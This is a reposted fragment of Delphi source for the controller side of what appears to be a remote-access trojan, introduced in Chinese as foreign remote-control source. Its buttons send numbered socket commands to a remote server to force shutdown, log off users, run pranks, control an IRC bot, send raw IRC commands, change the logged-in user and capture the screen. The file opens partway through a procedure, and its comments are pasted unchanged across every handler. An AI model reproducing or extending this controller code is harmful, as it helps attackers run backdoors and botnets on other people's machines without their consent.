unit1.pas

国外的远程控制源码,国内首发~~~我看到了就转过来了~

//set caption on label that we are getting info
flatedit1.text := 'Restarting...';
clientsocket1.Socket.SendText('10|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button12Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Logging Off';
clientsocket1.Socket.SendText('11|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button13Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Forcing Shutdown';
clientsocket1.Socket.SendText('12|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button14Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Suspending';
clientsocket1.Socket.SendText('14|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button15Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Restarting Windows';
clientsocket1.Socket.SendText('15|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button16Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Powering Off';
clientsocket1.Socket.SendText('13|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button17Click(Sender: TObject);
begin
 //check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Coffee Cup Started';
clientsocket1.Socket.SendText('16|');

//01 will get verified by server as "get server info"
end;




procedure TForm1.Button1Click(Sender: TObject);
var
 ip:string;     //ip as string
 port:integer;  //port as integer
begin
//if button caption = abort
if button1.caption = 'Abort' then begin
clientsocket1.Active := false;
button1.caption := 'Connect';
exit; //quit function
end;
//check if connected
if clientsocket1.active = true then
//we are connected, so better disconnect
clientsocket1.active := false;
//done disconnecting

//setting ip and port
ip := edit1.text;
port := strtoint(edit2.text);  //makes a string to integer.

//now connecting
clientsocket1.Host := ip;
clientsocket1.Port := port;
clientsocket1.Active := true;  //connecting

end;

procedure TForm1.clicked(Sender: TObject);
begin
 ShellExecute(0, Nil, PChar(FlatEdit2.text), Nil, Nil, SW_NORMAL);
end;

procedure TForm1.changed(Sender: TObject);
begin
 FlatEdit2.Text := 'Http://www.imafraid.com/';
end;



procedure TForm1.FlatButton1Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'IRC Bot is now ON';
clientsocket1.Socket.SendText('17|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton2Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'IRC Bot is now OFF';
clientsocket1.Socket.SendText('18|');

//01 will get verified by server as "get server info"
end;
procedure TForm1.FlatButton3Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Retrieved IRC Bot Status';
clientsocket1.Socket.SendText('19|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton4Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Retrieving Bot Information';
clientsocket1.Socket.SendText('20|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton5Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Changing Nick';
clientsocket1.Socket.SendText('21|' + FlatEdit3.text);

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton6Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Changing Pass';
clientsocket1.Socket.SendText('22|' + FlatEdit4.text);

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton7Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Changing nick';
clientsocket1.Socket.SendText('23|' + FlatEdit5.text);

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton8Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Saying';
clientsocket1.Socket.SendText('24|' + FlatEdit6.text);
FlatEdit6.Text:='';

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton9Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Sending RAW';
clientsocket1.Socket.SendText('25|' + FlatEdit7.text);
FlatEdit6.Text:='';

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton10Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Changing Logged in User';
clientsocket1.Socket.SendText('26|' + FlatEdit8.text);
FlatEdit6.Text:='';

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton11Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Started webserver';
//clientsocket1.Socket.SendText('27|' + FlatEdit10.text + '-' + FlatEdit9.text);
//FlatEdit6.Text:='';

//01 will get verified by server as "get server info"
end;

procedure TForm1.FlatButton12Click(Sender: TObject);
begin
 //check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Started webserver';
clientsocket1.Socket.SendText('28|');
FlatEdit6.Text:='';

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button18Click(Sender: TObject);
begin
 //check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Screen Capped';
clientsocket1.Socket.SendText('29|');


//01 will get verified by server as "get server info"
end;


procedure TForm1.AboutButtonClick(Sender: TObject);
begin
  Form2.Visible:=true;
end;

end.